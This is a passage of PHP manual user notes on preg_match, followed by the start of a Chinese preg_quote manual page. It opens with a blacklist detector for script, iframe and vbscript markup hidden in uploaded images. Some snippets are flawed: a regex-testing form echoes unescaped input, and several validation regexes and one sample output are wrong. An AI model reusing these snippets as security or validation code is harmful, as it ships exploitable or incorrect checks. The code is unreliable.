        return true;
    }
    elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset|html|body|title|div|p|form)[^>]*>#i", $contents))
    {
        return true;
    }
    else
    {
        return false;
    }
}
?>

Use

<?php
// If image contains a bad codes
$image   = "simpleimage.png";

if (is_clean_file($image))
{
    echo "Bad codes this is not image";
    unlink($image);
}
else
{
    echo "This is a real image.";
}
?>
Anonymous 24-Sep-2012 08:02
Here is a function that decreases the numbers inside a string (useful to convert DOM object into simplexml object)

e.g.: decremente_chaine("somenode->anode[2]->achildnode[3]") will return "somenode->anode[1]->achildnode[2]"

the numbering of the nodes in simplexml starts from zero, but from 1 in DOM xpath objects

<?php
function decremente_chaine($chaine)
    {
        //récupérer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // découper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on décale tout de 1 car le résultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
jphansen at uga dot edu 22-May-2012 07:41
Here's a regex to validate against the schema for common MySQL
 identifiers:

<?php
$string = "$table_name";
if (preg_match("/[^\\d\\sa-zA-Z$_]/", $string))
  echo "Failed validation";
?>
ulli dot luftpumpe at murkymind dot de 07-Apr-2012 10:32
Matching a backslash character can be confusing, because double escaping is needed in the pattern: first for PHP, second for the regex engine
<?php
//match newline control character:
preg_match('/\n/','\n');   //pattern matches and is stored as control character 0x0A in the pattern string
preg_match('/\\\n/','\n'); //very same match, but is stored escaped as 0x5C,0x6E in the pattern string

//trying to match "\'" (2 characters) in a text file, '\\\'' as PHP string:
$subject = file_get_contents('myfile.txt');
preg_match('/\\\'/',$subject);    //DOESN'T MATCH!!! stored as 0x5C,0x27 (escaped apostrophe), this only matches apostrophe
preg_match('/\\\\\'/',$subject);  //matches, stored as 0x5C,0x5C,0x27 (escaped backslash and unescaped apostrophe)
preg_match('/\\\\\\\/',$subject); //also matches, stored as 0x5C,0x5C,0x5C,0x27 (escaped backslash and escaped apostrophe)

//matching "\n" (2 characters):
preg_match('/\\\\n/','\\n');
preg_match('/\\\n/','\\n'); //same match - 3 backslashes are interpreted as 2 in PHP, if the following character is not escapeable
?>
aer0s 16-Mar-2012 09:15
Simple function to return a sub-string following the preg convention. Kind of expensive, and some might say lazy but it has saved me time.

# preg_substr($pattern,$subject,[$offset]) function
# @author   aer0s
#  return a specific sub-string in a string using
#   a regular expression
# @param   $pattern   regular expression pattern to match
# @param   $subject   string to search
# @param   [$offset]   zero based match occurrence to return
#
# [$offset] is 0 by default which returns the first occurrence,
# if [$offset] is -1 it will return the last occurrence

function preg_substr($pattern,$subject,$offset=0){
    preg_match_all($pattern,$subject,$matches,PREG_PATTERN_ORDER);
    return $offset==-1?array_pop($matches[0]):$matches[0][$offset];
}

example:

             $pattern = "/model(\s|-)[a-z0-9]/i";
             $subject = "Is there something wrong with model 654, Model 732, and model 43xl or is Model aj45B the preferred choice?";

             echo preg_substr($pattern,$subject);
             echo preg_substr($pattern,$subject,1);
             echo preg_substr($pattern,$subject,-1);

Returns something like:

             model 654
             Model 732
             Model aj45B
Nimja 10-Feb-2012 11:12
When using a 'bad words reject string' filter, preg_match is MUCH faster than strpos / stripos. Because in the other cases, you would need to do a foreach for each word. With efficient programming, the foreach is ONLY faster when the first word in the ban-list is found.

(for 12 words, 100,000 iterations, no word found)
stripos - Taken 1.4876 seconds.
strpos - Taken 1.4207 seconds.
preg_match - Taken 0.189 seconds.

Interesting fact:
With long words ('averylongwordtospitepreg'), the difference is only much less. Only about a 2/3rd of the time instead of 1/6th

<?php

$words = array('word1', 'word2', 'word3', 'word4', 'word5', 'word6', 'word7', 'word8', 'word9', 'word10', 'word11', 'word12' );
$teststring = 'ThIs Is A tEsTsTrInG fOr TeStInG.';
$count = 100000;
$find = 0;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (stripos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'stripos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (strpos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'strpos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
$pattern = '/';
$div = '';
foreach ($words as $word) {
    $pattern .= $div . preg_quote($word);
    $div = '|';
}
$pattern .= '/i';
//Pattern could easily be done somewhere else if words are static.
for ($i = 0; $i < $count; $i++) {
    if (preg_match($pattern, $teststring)) {
        $find++;
    }
}
$end = microtime(TRUE);
echo 'preg_match - Taken ' . round($end - $start, 4) . ' seconds.' . PHP_EOL;
?>
Jonny 5 07-Dec-2011 09:55
Workaround for getting the offset in UTF-8
(in some cases mb_strpos might be an option as well)

<?php
if(preg_match($pattern,$haystack,$out,PREG_OFFSET_CAPTURE)) {
    $offset = strlen(utf8_decode(substr($haystack,0,$out[0][1])));
}
?>
force at md-t dot org 25-Sep-2011 11:38
Simple regex

Regex quick reference
[abc]     A single character: a, b or c
[^abc]     Any single character but a, b, or c
[a-z]     Any single character in the range a-z
[a-zA-Z]     Any single character in the range a-z or A-Z
^     Start of line
$     End of line
\A     Start of string
\z     End of string
.     Any single character
\s     Any whitespace character
\S     Any non-whitespace character
\d     Any digit
\D     Any non-digit
\w     Any word character (letter, number, underscore)
\W     Any non-word character
\b     Any word boundary character
(...)     Capture everything enclosed
(a|b)     a or b
a?     Zero or one of a
a*     Zero or more of a
a+     One or more of a
a{3}     Exactly 3 of a
a{3,}     3 or more of a
a{3,6}     Between 3 and 6 of a

options: i case insensitive m make dot match newlines x ignore whitespace in regex o perform #{...} substitutions only once
cmallabon at homesfactory dot com 30-Aug-2011 10:28
Just an interesting note. Was just updating code to replace ereg() with strpos() and preg_match and the thought occured that preg_match() could be optimized to quit early when only searching if a string begins with something, for example
<?php
if(preg_match("/^http/", $url))
{
 //do something
}
?>

 vs

<?php
if(strpos($url, "http") === 0)
{
//do something
}
?>

As I guessed, strpos() is always faster (about 2x) for short strings like a URL but for very long strings of several paragraphs (e.g. a block of XML) when the string doesn't start with the needle preg_match as twice as fast as strpos() as it doesn't scan the entire string.

So, if you are searching long strings and expect it to normally be true (e.g. validating XML), strpos() is a much faster BUT if you expect if to often fail, preg_match is the better choice.
ayman2243 at gmail dot com 30-Aug-2011 04:55
highlight Search Words

<?php
function highlight($word, $subject) {

    $split_subject = explode(" ", $subject);
    $split_word = explode(" ", $word);

    foreach ($split_subject as $k => $v){
           foreach ($split_word as $k2 => $v2){
               if($v2 == $v){

                   $split_subject[$k] = "<span class='highlight'>".$v."</span>";

               }
           }
      }

      return implode(' ', $split_subject);
}
?>
workhorse at op dot pl 11-Aug-2011 12:53
Preg_match returns empty result trying to validate $subject with carriege returns (/n/r).
To solve it one need to use /s modifier in $pattern string.
<?php
$pattern='/.*/s';
$valid=preg_match($pattern, $subject, $match);
?>
itworkarounds at gmail dot com 09-Aug-2011 09:08
You can use the following code to detect non-latin (Cyrilic, Arabic, Greek...) characters:

<?php
preg_match("/^[a-zA-Z\p{Cyrillic}0-9\s\-]+$/u", "ABC abc 1234 АБВ абв");
?>
mohammad40g at gmail dot com 01-Aug-2011 09:23
This sample is for checking persian character:

<?php
   preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", '????');
?>
sun at drupal dot org 23-Jun-2011 05:56
Basic test for invalid UTF-8 that can hi-jack IE:

<?php
$valid = (preg_match('/^./us', $text) == 1);
?>
See http://api.drupal.org/api/drupal/includes--bootstrap.inc/function/drupal_validate_utf8/7 for details.

---

Test for valid UTF-8 and XML/XHTML character range compatibility:

<?php
$invalid = preg_match('@[^\x9\xA\xD\x20-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]@u', $text)
?>
Ref: http://www.w3.org/TR/2000/REC-xml-20001006#charsets
MrBull 20-Mar-2011 07:32
Sometimes its useful to negate a string. The first method which comes to mind to do this is: [^(string)] but this of course won't work. There is a solution, but it is not very well known. This is the simple piece of code on how a negation of a string is done:

(?:(?!string).)

?: makes a subpattern (see http://www.php.net/manual/en/regexp.reference.subpatterns.php) and ?! is a negative look ahead. You put the negative look ahead in front of the dot because you want the regex engine to first check if there is an occurrence of the string you are negating. Only if it is not there, you want to match an arbitrary character.

Hope this helps some ppl.
arash dot hemmat at gmail dot com 02-Feb-2011 07:15
For those who search for a unicode regular expression example using preg_match here it is:

Check for Persian digits
preg_match( "/[^\x{06F0}-\x{06F9}\x]+/u" , '??????????' );
Frank 26-Jan-2011 12:12
If someone is from a country that accepts decimal numbers in format 9.00 and 9,00 (point or comma), number validation would be like that:
<?php
$number_check = "9,99";
if (preg_match( '/^[\-+]?[0-9]*\.*\,?[0-9]+$/', $number_check)) {
    return TRUE;
}
?>

However, if the number will be written in the database, most probably this comma needs to be replaced with a dot.
This can be done with use of str_replace, i.e :
<?php
$number_database = str_replace("," , "." , $number_check);
?>
sainnr at gmail dot com 30-Dec-2010 06:12
This sample regexp may be useful if you are working with DB field types.

(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))

For example, if you are have a such type as "varchar(255)" or "text", the next fragment

<?php
   $type = 'varchar(255)';  // type of field
   preg_match('/(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))/', $type, $field);
   print_r($field);
?>

will output something like this:
Array ( [0] => varchar(255) [type] => varchar [1] => varchar [2] => (255) [length] => 255 [3] => 255 [4] => 255 )
ian_channing at hotmail dot com 27-Dec-2010 01:55
When trying to check a file path that could be windows or unix it took me quite a few tries to get the escape characters right.

The Unix directory separator must be escaped once and the windows directory separator must be escaped twice.

This will match path/to/file and path\to\file.exe

preg_match('/^[a-z0-9_.\/\\\]*$/i', $file_string);
SoN9ne at gmail dot com 08-Jun-2010 10:10
I have been working on a email system that will automatically generate a text email from a given HTML email by using strip_tags().
The only issue I ran into, for my needs, were that the anchors would not keep their links.
I search for a little while and could not find anything to strip the links from the tags so I generated my own little snippet.
I am posting it here in hopes that others may find it useful and for later reference.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this

Posting to this site is painful...
Had to break up the regex and had to break the test links since it was being flagged as spam...
teracci2002 09-Apr-2010 09:00
When you use preg_match() for security purpose or huge data processing,
mayby you should make consideration for backtrack_limit and recursion_limit.
http://www.php.net/manual/en/pcre.configuration.php

These limits may bring wrong matching result.
You can verify whether you hit these limits by checking preg_last_error().
http://www.php.net/manual/en/function.preg-last-error.php
Kae Cyphet 17-Mar-2010 06:29
for those coming over from ereg, preg_match can be quite intimidating. to get started here is a migration tip.

<?php
if(ereg('[^0-9A-Za-z]',$test_string)) // will be true if characters arnt 0-9, A-Z or a-z.

if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
?>
plasma 21-Feb-2010 04:53
To extract scheme, host, path, ect. simply use

<?php

  $url  = 'http://name:pass@';
  $url .= 'example.com:10000';
  $url .= '/path/to/file.php?a=1&amp;b=2#anchor';

  $url_data = parse_url ( $url );

  print_r ( $url_data );

?>
___
prints out something like:

Array
(
    [scheme] => http
    [host] => wild.subdomain.orgy.domain.co.uk
    [port] => 10000
    [user] => name
    [pass] => pass
    [path] => /path/to/file.php
    [query] => a=1&b=2
    [fragment] => anchor
)

In my tests parse_url is up to 15x faster than preg_match(_all)!
Anonymous 06-Feb-2010 08:00
The regular expression for breaking-down a URI reference into its components:

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

Source: ietf.org/rfc/rfc2396.txt
cebelab at gmail dot com 23-Jan-2010 10:43
I noticed that in order to deal with UTF-8 texts, without having to recompile php with the PCRE UTF-8 flag enabled, you can just add the following sequence at the start of your pattern: (*UTF8)

for instance : '#(*UTF8)[[:alnum:]]#' will return TRUE for 'é' where '#[[:alnum:]]#' will return FALSE

found this very very useful tip after hours of research over the web directly in pcre website right here : http://www.pcre.org/pcre.txt
there are many further informations about UTF-8 support in the lib

hop that will help!

--
cedric
Stefan 17-Nov-2009 02:47
I spent a while replacing all my ereg() calls to preg_match(), since ereg() is now deprecated and will not be supported as of v 6.0.

Just a warning regarding the conversion, the two functions behave very similarly, but not exactly alike. Obviously, you will need to delimit your pattern with '/' or '|' characters.

The difference that stumped me was that preg_replace overwrites the $matches array regardless if a match was found. If no match was found, $matches is simply empty.

ereg(), however, would leave $matches alone if a match was not found. In my code, I had repeated calls to ereg, and was populating $matches with each match. I was only interested in the last match. However, with preg_match, if the very last call to the function did not result in a match, the $matches array would be overwritten with a blank value.

Here is an example code snippet to illustrate:

<?php
$test = array('yes','no','yes','no','yes','no');

foreach ($test as $key=>$value) {
  ereg("yes",$value,$matches1);
  preg_match("|yes|",$value,$matches2);
}
  print "ereg result: $matches1[0]<br>";
  print "preg_match result: $matches2[0]<br>";
?>

The output is:
ereg result: yes
preg_match result:

($matches2[0] in this case is empty)

I believe the preg_match behavior is cleaner. I just thought I would report this to hopefully save others some time.
ruakuu at NOSPAM dot com 03-Nov-2009 09:32
Was working on a site that needed japanese and alphabetic letters and needed to
validate input using preg_match, I tried using \p{script} but didn't work:

<?php
$pattern ='/^([-a-zA-Z0-9_\p{Katakana}\p{Hiragana}\p{Han}]*)$/u'; // Didn't work
?>

So I tried with ranges and it worked:

<?php
$pattern ='/^[-a-zA-Z0-9_\x{30A0}-\x{30FF}'
         .'\x{3040}-\x{309F}\x{4E00}-\x{9FBF}\s]*$/u';
$match_string = '印刷最安 ニキビ跡除去 ゲームボーイ';

if (preg_match($pattern, $match_string)) {
    echo "Found - pattern $pattern";
} else {
    echo "Not found - pattern $pattern";
}
?>

U+4E00-U+9FBF Kanji
U+3040-U+309F Hiragana
U+30A0-U+30FF Katakana

Hope its useful, it took me several hours to figure it out.
splattermania at freenet dot de 01-Oct-2009 05:01
As I wasted lots of time finding a REAL regex for URLs and resulted in building it on my own, I now have found one, that seems to work for all kinds of urls:

<?php
    $regex = "((https?|ftp)\:\/\/)?"; // SCHEME
    $regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass
    $regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
    $regex .= "(\:[0-9]{2,5})?"; // Port
    $regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path
    $regex .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?"; // GET Query
    $regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor
?>

Then, the correct way to check against the regex ist as follows:

<?php
       if(preg_match("/^$regex$/", $url))
       {
               return true;
       }
?>
luc _ santeramo at t yahoo dot com 03-Sep-2009 07:46
If you want to validate an email in one line, use filter_var() function !
http://fr.php.net/manual/en/function.filter-var.php

easy use, as described in the document example :
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
marcosc at tekar dot net 27-Aug-2009 09:31
When using accented characters and "?" (áéíóú?), preg_match does not work. It is a charset problem, use utf8_decode/decode to fix.
ian_channing at hotmail dot com 20-Aug-2009 06:13
This is a function that uses regular expressions to match against the various VAT formats required across the EU.

<?php
/**
 * @param integer $country Country name
 * @param integer $vat_number VAT number to test e.g. GB123 4567 89
 * @return integer -1 if country not included OR 1 if the VAT Num matches for the country OR 0 if no match
*/
function checkVatNumber( $country, $vat_number ) {
    switch($country) {
        case 'Austria':
            $regex = '/^(AT){0,1}U[0-9]{8}$/i';
            break;
        case 'Belgium':
            $regex = '/^(BE){0,1}[0]{0,1}[0-9]{9}$/i';
            break;
        case 'Bulgaria':
            $regex = '/^(BG){0,1}[0-9]{9,10}$/i';
            break;
        case 'Cyprus':
            $regex = '/^(CY){0,1}[0-9]{8}[A-Z]$/i';
            break;
        case 'Czech Republic':
            $regex = '/^(CZ){0,1}[0-9]{8,10}$/i';
            break;
        case 'Denmark':
            $regex = '/^(DK){0,1}([0-9]{2}[\ ]{0,1}){3}[0-9]{2}$/i';
            break;
        case 'Estonia':
        case 'Germany':
        case 'Greece':
        case 'Portugal':
            $regex = '/^(EE|EL|DE|PT){0,1}[0-9]{9}$/i';
            break;
        case 'France':
            $regex = '/^(FR){0,1}[0-9A-Z]{2}[\ ]{0,1}[0-9]{9}$/i';
            break;
        case 'Finland':
        case 'Hungary':
        case 'Luxembourg':
        case 'Malta':
        case 'Slovenia':
            $regex = '/^(FI|HU|LU|MT|SI){0,1}[0-9]{8}$/i';
            break;
        case 'Ireland':
            $regex = '/^(IE){0,1}[0-9][0-9A-Z\+\*][0-9]{5}[A-Z]$/i';
            break;
        case 'Italy':
        case 'Latvia':
            $regex = '/^(IT|LV){0,1}[0-9]{11}$/i';
            break;
        case 'Lithuania':
            $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
            break;
        case 'Netherlands':
            $regex = '/^(NL){0,1}[0-9]{9}B[0-9]{2}$/i';
            break;
        case 'Poland':
        case 'Slovakia':
            $regex = '/^(PL|SK){0,1}[0-9]{10}$/i';
            break;
        case 'Romania':
            $regex = '/^(RO){0,1}[0-9]{2,10}$/i';
            break;
        case 'Sweden':
            $regex = '/^(SE){0,1}[0-9]{12}$/i';
            break;
        case 'Spain':
            $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
            break;
        case 'United Kingdom':
            $regex = '/^(GB){0,1}([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2})|([1-9][0-9]{2}[\ ]{0,1}[0-9]{4}[\ ]{0,1}[0-9]{2}[\ ]{0,1}[0-9]{3})|((GD|HA)[0-9]{3})$/i';
            break;
        default:
            return -1;
            break;
    }

    return preg_match($regex, $vat_number);
}
?>
matt 08-May-2009 01:07
To support large Unicode ranges (ie: [\x{E000}-\x{FFFD}] or \x{10FFFFF}) you must use the modifier '/u' at the end of your expression.
corey [works at] effim [delete] .com 24-Apr-2009 08:52
I see a lot of people trying to put together phone regex's and struggling (hey, no worries...they're complicated). Here's one that we use that's pretty nifty. It's not perfect, but it should work for most non-idealists.

*** Note: Only matches U.S. phone numbers. ***

<?php

// all on one line...
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

// or broken up
$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})'
        .'(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})'
        .'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';

?>

If you're wondering why all the non-capturing subpatterns (which look like this "(?:", it's so that we can do this:

<?php

$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);

// or, provided you use the $matches argument in preg_match

$formatted = "($matches[1]) $matches[2]-$matches[3]";
if ($matches[4]) $formatted .= " $matches[4]";

?>

*** Results: ***
520-555-5542 :: MATCH
520.555.5542 :: MATCH
5205555542 :: MATCH
520 555 5542 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 :: MATCH
(520) 555-5542 :: MATCH
(520) 555 5542 :: MATCH
520-555.5542 :: MATCH
520 555-0555 :: MATCH
(520)5555542 :: MATCH
520.555-4523 :: MATCH
19991114444 :: FAIL
19995554444 :: MATCH
514 555 1231 :: MATCH
1 555 555 5555 :: MATCH
1.555.555.5555 :: MATCH
1-555-555-5555 :: MATCH
520-555-5542 ext.123 :: MATCH
520.555.5542 EXT 123 :: MATCH
5205555542 Ext. 7712 :: MATCH
520 555 5542 ext 5 :: MATCH
520) 555-5542 :: FAIL
(520 555-5542 :: FAIL
(520)555-5542 ext .4 :: FAIL
(512) 555-1234 ext. 123 :: MATCH
1(555)555-5555 :: MATCH
daevid at daevid dot com 06-Mar-2009 03:18
I just learned about named groups from a Python friend today and was curious if PHP supported them, guess what -- it does!!!

http://www.regular-expressions.info/named.html

<?php
   preg_match("/(?P<foo>abc)(.*)(?P<bar>xyz)/",
                       'abcdefghijklmnopqrstuvwxyz',
                       $matches);
   print_r($matches);
?>

will produce:

Array
(
    [0] => abcdefghijklmnopqrstuvwxyz
    [foo] => abc
    [1] => abc
    [2] => defghijklmnopqrstuvw
    [bar] => xyz
    [3] => xyz
)

Note that you actually get the named group as well as the numerical key
value too, so if you do use them, and you're counting array elements, be
aware that your array might be bigger than you initially expect it to be.
wjaspers4 [at] gmail [dot] com 27-Feb-2009 03:16
I recently encountered a problem trying to capture multiple instances of named subpatterns from filenames.
Therefore, I came up with this function.

The function allows you to pass through flags (in this version it applies to all expressions tested), and generates an array of search results.

Enjoy!

<?php

/**
 * Allows multiple expressions to be tested on one string.
 * This will return a boolean, however you may want to alter this.
 *
 * @author William Jaspers, IV <wjaspers4@gmail.com>
 * @created 2009-02-27 17:00:00 +6:00:00 GMT
 * @access public
 *
 * @param array $patterns An array of expressions to be tested.
 * @param String $subject The data to test.
 * @param array $findings Optional argument to store our results.
 * @param mixed $flags Pass-thru argument to allow normal flags to apply to all tested expressions.
 * @param array $errors A storage bin for errors
 *
 * @returns bool Whether or not errors occurred.
 */
function preg_match_multiple(
  array $patterns=array(),
  $subject=null,
  &$findings=array(),
  $flags=false,
  &$errors=array()
) {
  foreach( $patterns as $name => $pattern )
  {
    if( 1 <= preg_match_all( $pattern, $subject, $found, $flags ) )
    {
      $findings[$name] = $found;
    } else
    {
      if( PREG_NO_ERROR !== ( $code = preg_last_error() ))
      {
        $errors[$name] = $code;
      } else $findings[$name] = array();
    }
  }
  return (0===sizeof($errors));
}
?>
skds1433 at hotmail dot com 19-Feb-2009 06:41
here is a small tool for someone learning to use regular expressions. it's very basic, and allows you to try different patterns and combinations. I made it to help me, because I like to try different things, to get a good understanding of how things work.

<?php
$search = isset($_POST['search'])?$_POST['search']:"//";
$match = isset($_POST['match'])?$_POST['match']:"<>";

echo '<form method="post">';
echo 's: <input style="width:400px;" name="search" type="text" value="'.$search.'" /><br />';
echo 'm:<input style="width:400px;" name="match" type="text" value="'.$match.'" /><input type="submit" value="go" /></form><br />';
if (preg_match($search, $match)){echo "matches";}else{echo "no match";}
?>
akniep at rayo dot info 30-Jan-2009 03:05
Bugs of preg_match (PHP-version 5.2.5)

In most cases, the following example will show one of two PHP-bugs discovered with preg_match depending on your PHP-version and configuration.

<?php

$text = "test=";
// creates a rather long text
for ($i = 0; $i++ < 100000;)
    $text .= "%AB";

// a typical URL_query validity-checker (the pattern's function does not matter for this example)
$pattern    = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';

var_dump( preg_match( $pattern, $text ) );

?>

Possible bug (1):
=============
On one of our Linux-Servers the above example crashes PHP-execution with a C(?) Segmentation Fault(!). This seems to be a known bug (see http://bugs.php.net/bug.php?id=40909), but I don't know if it has been fixed, yet.
If you are looking for a work-around, the following code-snippet is what I found helpful. It wraps the possibly crashing preg_match call by decreasing the PCRE recursion limit in order to result in a Reg-Exp error instead of a PHP-crash.

<?php
[...]

// decrease the PCRE recursion limit for the (possibly dangerous) preg_match call
$former_recursion_limit = ini_set( "pcre.recursion_limit", 10000 );

// the wrapped preg_match call
$result = preg_match( $pattern, $text );

// reset the PCRE recursion limit to its original value
ini_set( "pcre.recursion_limit", $former_recursion_limit );

// if the reg-exp fails due to the decreased recursion limit we may not make any statement, but PHP-execution continues
if ( PREG_RECURSION_LIMIT_ERROR === preg_last_error() )
{
    // react on the failed regular expression here
    $result = [...];

    // do logging or email-sending here
    [...]
} //if

?>

Possible bug (2):
=============
On one of our Windows-Servers the above example does not crash PHP, but (directly) hits the recursion-limit. Here, the problem is that preg_match does not return boolean(false) as expected by the description / manual of above.
In short, preg_match seems to return an int(0) instead of the expected boolean(false) if the regular expression could not be executed due to the PCRE recursion-limit. So, if preg_match results in int(0) you seem to have to check preg_last_error() if maybe an error occurred.
phil dot taylor at gmail dot com 22-Oct-2008 05:01
If you need to check for .com.br and .com.au and .uk and all the other crazy domain endings i found the following expression works well if you want to validate an email address. Its quite generous in what it will allow

<?php

        $email_address = "phil.taylor@a_domain.tv";

    if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $email_address)) {
        return "E-mail address";
    }

?>
jonathan dot lydall at gmail dot removethispart dot com 26-May-2008 12:50
Because making a truly correct email validation function is harder than one may think, consider using this one which comes with PHP through the filter_var function (http://www.php.net/manual/en/function.filter-var.php):

<?php
$email = "someone@domain .local";

if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "E-mail is not valid";
} else {
    echo "E-mail is valid";
}
?>


转义正则表达式字符

  • ? preg_match
  • preg_replace_callback_array ?
  • PHP Manual
  • PCRE 函数
  • 转义正则表达式字符

preg_quote

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_quote — 转义正则表达式字符

说明

preg_quote(string $str, ?string $delimiter = null): string

preg_quote()需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。

正则表达式特殊字符有： . \ + * ? [ ^ ] $ ( ) { } = ! < > | : - #

注意 / 不是正则表达式特殊字符。

Note:

注意：preg_quote() 的应用场景不是用于 preg_replace() 的 $replacement 字符串参数。

参数

str

输入字符串

delimiter

如果指定了可选参数 delimiter，它也会被转义。这通常用于 转义PCRE函数使用的分隔符。 / 是最常见的分隔符。

返回值

返回转义后的字符串。

更新日志

版本 | 说明
7.3.0 | 字符 # 被增加为需要转义的。
7.2.0 | delimiter 现在可为 null。

示例

Example #1 preg_quote()示例

<?php
$keywords = '$40 for a g3/400';
$keywords = preg_quote($keywords, '/');
echo $keywords; // 返回 \$40 for a g3\/400
?>

Example #2 将文本中的单词替换为斜体

<?php
//在这个例子中，preg_quote($word) 用于保持星号原文涵义，使其不使用正则表达式中的特殊语义。

$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word, '/') . "/",
"<i>" . $word . "</i>",
$textbody);
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • PCRE 模式
  • escapeshellcmd() - shell 元字符转义

User Contributed Notes

Anonymous 05-Feb-2021 09:34
I discovered that, in addition to escaping the special regular expression characters, preg_quote() encodes the NUL byte to its octal representation:

<?php
var_dump(preg_quote("\0"));
?>

Output:

string(4) "\000"
rawr at t-regx dot com 28-Jan-2021 12:56
To have a higher level control of what your pattern looks like, try T-Regx:

Pattern::inject('This is (my|our) pattern: @', [$_GET['name']]);
ed at happysoftware dot com 22-May-2019 07:31
